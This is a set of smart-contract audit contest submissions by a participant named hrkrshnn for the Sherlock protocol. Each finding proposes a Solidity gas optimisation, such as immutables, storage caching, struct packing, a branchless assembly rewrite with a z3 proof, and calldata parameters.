Sherlock contest - hrkrshnn's results

Handle

hrkrshnn

Vulnerability details

Change variable to immutable

modified   contracts/strategies/AaveV2.sol
@@ -28,8 +28,8 @@ contract AaveV2 is IStrategy, Ownable {
   ERC20 public override want;
   IAToken public aWant;

-  address public sherlock;
-  address public aaveLmReceiver;
+  address immutable public sherlock;
+  address immutable public aaveLmReceiver;

Converting to immutable will decrease the cost of read from 2100 / 100 (depending on warm or cold) to just 3!

I've not tried to find all such instances, however, If you upgrade the contracts to 0.8.0, I've a custom tool to detect what state variables can be moved to immutables! I can run it and report back all such variables: contact @hrkrshnn:matrix.org.

Handle

hrkrshnn

Vulnerability details

Caching variable

modified   contracts/facets/SherXERC20.sol
@@ -66,8 +66,9 @@ contract SherXERC20 is IERC20, ISherXERC20 {
     require(_spender != address(0), 'SPENDER');
     require(_amount != 0, 'AMOUNT');
     SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20();
-    sx20.allowances[msg.sender][_spender] = sx20.allowances[msg.sender][_spender].add(_amount);
-    emit Approval(msg.sender, _spender, sx20.allowances[msg.sender][_spender]);
+    uint256 newAllowance = sx20.allowances[msg.sender][_spender].add(_amount);
+    sx20.allowances[msg.sender][_spender] = newAllowance;
+    emit Approval(msg.sender, _spender, newAllowance);
     return true;
   }

The above change would avoid a sload, and will instead use dupX, saving `100` gas.

Handle

hrkrshnn

Vulnerability details

Packing the struct

modified   contracts/storage/GovStorage.sol
@@ -14,15 +14,17 @@ library GovStorage {
   struct Base {
     // The address appointed as the govMain entity
     address govMain;
+    // The amount of blocks the cooldown period takes
+    uint40 unstakeCooldown;
+    // The amount of blocks for the window of opportunity of unstaking
+    uint40 unstakeWindow;
+    // Check if the protocol is included in the solution at all
+    uint16 watsonsSherxWeight;
+    // The last block the total amount of rewards were accrued.
     // NOTE: UNUSED
     mapping(bytes32 => address) protocolManagers;
     // Based on the protocol identifier, get the address of the protocol that is able the withdraw balances
     mapping(bytes32 => address) protocolAgents;
-    // The amount of blocks the cooldown period takes
-    uint40 unstakeCooldown;
-    // The amount of blocks for the window of opportunity of unstaking
-    uint40 unstakeWindow;
-    // Check if the protocol is included in the solution at all
     mapping(bytes32 => bool) protocolIsCovered;
     // The array of tokens the accounts are able to stake in
     IERC20[] tokensStaker;
@@ -33,8 +35,6 @@ library GovStorage {
     address watsonsAddress;
     // How much sherX is distributed to this account
     // The max value is uint16(-1), which means 100% of the total SherX minted is allocated to this acocunt
-    uint16 watsonsSherxWeight;
-    // The last block the total amount of rewards were accrued.
     uint40 watsonsSherxLastAccrued;
   }

In the current layout, the members govMain, unstakeCooldown, unstakeWindow, watsonsSherxWeight all can be packed to a single slot or exactly 256 bits. This can save gas if both such elements are read or written at the same time (please use at least 0.8.2, since it has some improvements centred around optimizing packed Structs).

In the previous layout:

1. govMain would have a slot of its own.
2. unstakeCooldown and unstakeWindow would be packed together in a single slot.
3. watsonsSherxWeight and watsonsSherxLastAccrued would be packed together in a single slot.

Note that gas savings are mainly relevant in the following cases:

1. Compiler can optimize certain reads and writes to the same slot.
2. Berlin EIP-2929 based gas accounting, i.e., if the same tx leaves one of the slot warm.
3. Berlin EIP-2930 for access lists. Instead of having to making three different slots warm (in the original code), one only has to make two slots warm, if necessary.

If none of these applies for your case, this suggestion may be ignored.

Packing for PoolStorage

modified   contracts/storage/PoolStorage.sol
@@ -15,20 +15,35 @@ library PoolStorage {

   struct Base {
     address govPool;
+    // The last block the total amount of rewards were accrued.
+    // Accrueing SherX increases the `unallocatedSherX` variable
+    uint40 sherXLastAccrued;
+    // Protocol debt can only be settled at once for all the protocols at the same time
+    // This variable is the block number the last time all the protocols debt was settled
+    uint40 totalPremiumLastPaid;
+
+    // How much sherX is distributed to stakers of this token
+    // The max value is uint16(-1), which means 100% of the total SherX minted is allocated to this pool
+    uint16 sherXWeight;
     //
     // Staking
     //
     // Indicates if stakers can stake funds in the pool
     bool stakes;
-    // Address of the lockToken. Representing stakes in this pool
-    ILock lockToken;
     // Variable used to calculate the fee when activating the cooldown
     // Max value is uint32(-1) which creates a 100% fee on the withdrawal
     uint32 activateCooldownFee;
+    // Address of the lockToken. Representing stakes in this pool
+    // Indicates if protocol are able to pay premiums with this token
+    // If this value is true, the token is also included as underlying of the SherX
+    bool premiums;
+
+    ILock lockToken;
     // The total amount staked by the stakers in this pool, including value of `firstMoneyOut`
     // if you exclude the `firstMoneyOut` from this value, you get the actual amount of tokens staked
     // This value is also excluding funds deposited in a strategy.
     uint256 stakeBalance;
+
     // All the withdrawals by an account
     // The values of the struct are all deleted if expiry() or unstake() function is called
     mapping(address => UnstakeEntry[]) unstakeEntries;
@@ -39,12 +54,6 @@ library PoolStorage {
     // SherX could be minted before the stakers call the harvest() function
     // Minted SherX that is assigned as reward for the pool will be added to this value
     uint256 unallocatedSherX;
-    // How much sherX is distributed to stakers of this token
-    // The max value is uint16(-1), which means 100% of the total SherX minted is allocated to this pool
-    uint16 sherXWeight;
-    // The last block the total amount of rewards were accrued.
-    // Accrueing SherX increases the `unallocatedSherX` variable
-    uint40 sherXLastAccrued;
     // Non-native variables
     // These variables are used to calculate the right amount of SherX rewards for the token staked
     mapping(address => uint256) sWithdrawn;
@@ -52,9 +61,6 @@ library PoolStorage {
     //
     // Protocol payments
     //
-    // Indicates if protocol are able to pay premiums with this token
-    // If this value is true, the token is also included as underlying of the SherX
-    bool premiums;
     // Storing the protocol token balance based on the protocols bytes32 indentifier
     mapping(bytes32 => uint256) protocolBalance;
     // Storing the protocol premium, the amount of debt the protocol builds up per block.
@@ -62,9 +68,6 @@ library PoolStorage {
     mapping(bytes32 => uint256) protocolPremium;
     // The sum of all the protocol premiums, the total amount of debt that builds up in this token. (per block)
     uint256 totalPremiumPerBlock;
-    // Protocol debt can only be settled at once for all the protocols at the same time
-    // This variable is the block number the last time all the protocols debt was settled
-    uint40 totalPremiumLastPaid;
     // How much token (this) is available for sherX holders
     uint256 sherXUnderlying;
     // Check if the protocol is included in the token pool

For the same reasons as before. Taking a quick look at the code, this change should reduce gas. (Might require 0.8.2, though; there was an improvement in the optimizer that would apply to packed structs in storage.)

Handle

hrkrshnn

Vulnerability details

Higher value of optimize-runs

modified   hardhat.config.js
@@ -25,7 +25,7 @@ module.exports = {
     settings: {
       optimizer: {
         enabled: true,
-        runs: 200,
+        runs: 20000,
       },
     },
   },

This value is a tuning parameter for deploy v/s runtime costs. Higher values optimize for lower runtime cost, which is what you are looking for. The above value is an example, please decide a suitable high value, and run tests.

Handle

hrkrshnn

Vulnerability details

Writing a branch less version

@@ -76,11 +77,11 @@ contract SherXERC20 is IERC20, ISherXERC20 {
     require(_amount != 0, 'AMOUNT');
     SherXERC20Storage.Base storage sx20 = SherXERC20Storage.sx20();
     uint256 oldValue = sx20.allowances[msg.sender][_spender];
-    if (_amount > oldValue) {
-      sx20.allowances[msg.sender][_spender] = 0;
-    } else {
-      sx20.allowances[msg.sender][_spender] = oldValue.sub(_amount);
-    }
+    uint256 newValue;
+    assembly {
+        newValue := mul(gt(oldValue, _amount), sub(oldValue, _amount))
+    }
+    sx20.allowances[msg.sender][_spender] = newValue;
     emit Approval(msg.sender, _spender, sx20.allowances[msg.sender][_spender]);
     return true;
   }

The branch-less version avoids at least two jumpi, i.e., at least 20 gas and some additional stack operations, along with deploy costs.

Here's a SMT proof that the transformation is equivalent:

from z3 import *

# A SMT proof that
#
# if (_amount > oldValue) {
#   sx20.allowances[msg.sender][_spender] = 0;
# } else {
#   sx20.allowances[msg.sender][_spender] = oldValue.sub(_amount);
# }
#
# is same as
#
# assembly {
#     newValue := mul(gt(oldValue, _amount), sub(oldValue, _amount))
# }
# sx20.allowances[msg.sender][_spender] = newValue;
#

n_bits = 256
amount = BitVec('amount', n_bits)
oldValue = BitVec('oldValue', n_bits)
allowance = BitVec('oldValue', n_bits)

old_allowance_computation = If(UGT(amount, oldValue), 0, oldValue - amount)

def GT(x, y):
    return If(UGT(x, y), BitVecVal(1, n_bits), BitVecVal(0, n_bits))
def MUL(x, y):
    return x * y
def SUB(x, y):
    return x - y

new_allowance_computation = MUL(GT(oldValue, amount), SUB(oldValue, amount))

solver = Solver()
solver.add(old_allowance_computation != new_allowance_computation)

result = solver.check()
print(result)
# unsat

Handle

hrkrshnn

Vulnerability details

Use at least 0.8.4

There is an important low level optimizer added in 0.8.4. This would lead to free gas savings Even better is the fact that 0.8.* has SafeMath by default

Another advantage is that revert strings can be replaced by custom errors, which have lower deploy costs and lower runtime costs when the revert condition is met.

Handle

hrkrshnn

Vulnerability details

Caching in for loops

modified   contracts/facets/PoolBase.sol
@@ -128,19 +128,21 @@ contract PoolBase is IPoolBase {
   {
     PoolStorage.Base storage ps = baseData();
     GovStorage.Base storage gs = GovStorage.gs();
-    for (uint256 i = 0; i < ps.unstakeEntries[_staker].length; i++) {
-      if (ps.unstakeEntries[_staker][i].blockInitiated == 0) {
+    PoolStorage.UnstakeEntry[] storage entries = ps.unstakeEntries[_staker];
+    uint length = entries.length;
+    for (uint256 i = 0; i < length; i++) {
+      if (entries[i].blockInitiated == 0) {
         continue;
       }
       if (
-        ps.unstakeEntries[_staker][i].blockInitiated + gs.unstakeCooldown + gs.unstakeWindow <=
+        entries[i].blockInitiated + gs.unstakeCooldown + gs.unstakeWindow <=
         uint40(block.number)
       ) {
         continue;
       }
       return i;
     }
-    return ps.unstakeEntries[_staker].length;
+    return length;
   }

Caching expensive state variables would avoid re-reading from storage. Solidity's optimizer currently will not be able to cache this value (the IR based codegen and the Yul optimizer can do it; but that is not activated by default).

Handle

hrkrshnn

Vulnerability details

Change memory to calldata and caching in loop

modified   contracts/facets/Manager.sol
@@ -139,16 +139,17 @@ contract Manager is IManager {

   function setProtocolPremiumAndTokenPrice(
     bytes32 _protocol,
-    IERC20[] memory _token,
-    uint256[] memory _premium,
-    uint256[] memory _newUsd
+    IERC20[] calldata _token,
+    uint256[] calldata _premium,
+    uint256[] calldata _newUsd
   ) external override onlyGovMain {
     require(_token.length == _premium.length, 'LENGTH_1');
     require(_token.length == _newUsd.length, 'LENGTH_2');

     (uint256 usdPerBlock, uint256 usdPool) = _getData();

-    for (uint256 i; i < _token.length; i++) {
+    uint length = _token.length;
+    for (uint256 i; i < length; i++) {
       LibPool.payOffDebtAll(_token[i]);
       (usdPerBlock, usdPool) = _setProtocolPremiumAndTokenPrice(
         _protocol,

About caching in loop, see my other report on why it's needed.

For the old code, i.e., having an array in memory, there is an unnecessary copy from calldata to memory. In the proposed patch, this unnecessary copy is avoided and values are directly read from calldata by using calldataload(...) instead of going via calldatacopy(...), then mload(...)). Saves memory expansion cost, and cost of copying from calldata to memory.

There are several other places throughout the codebase where the same optimization can be used. I've not provided an exhaustive list.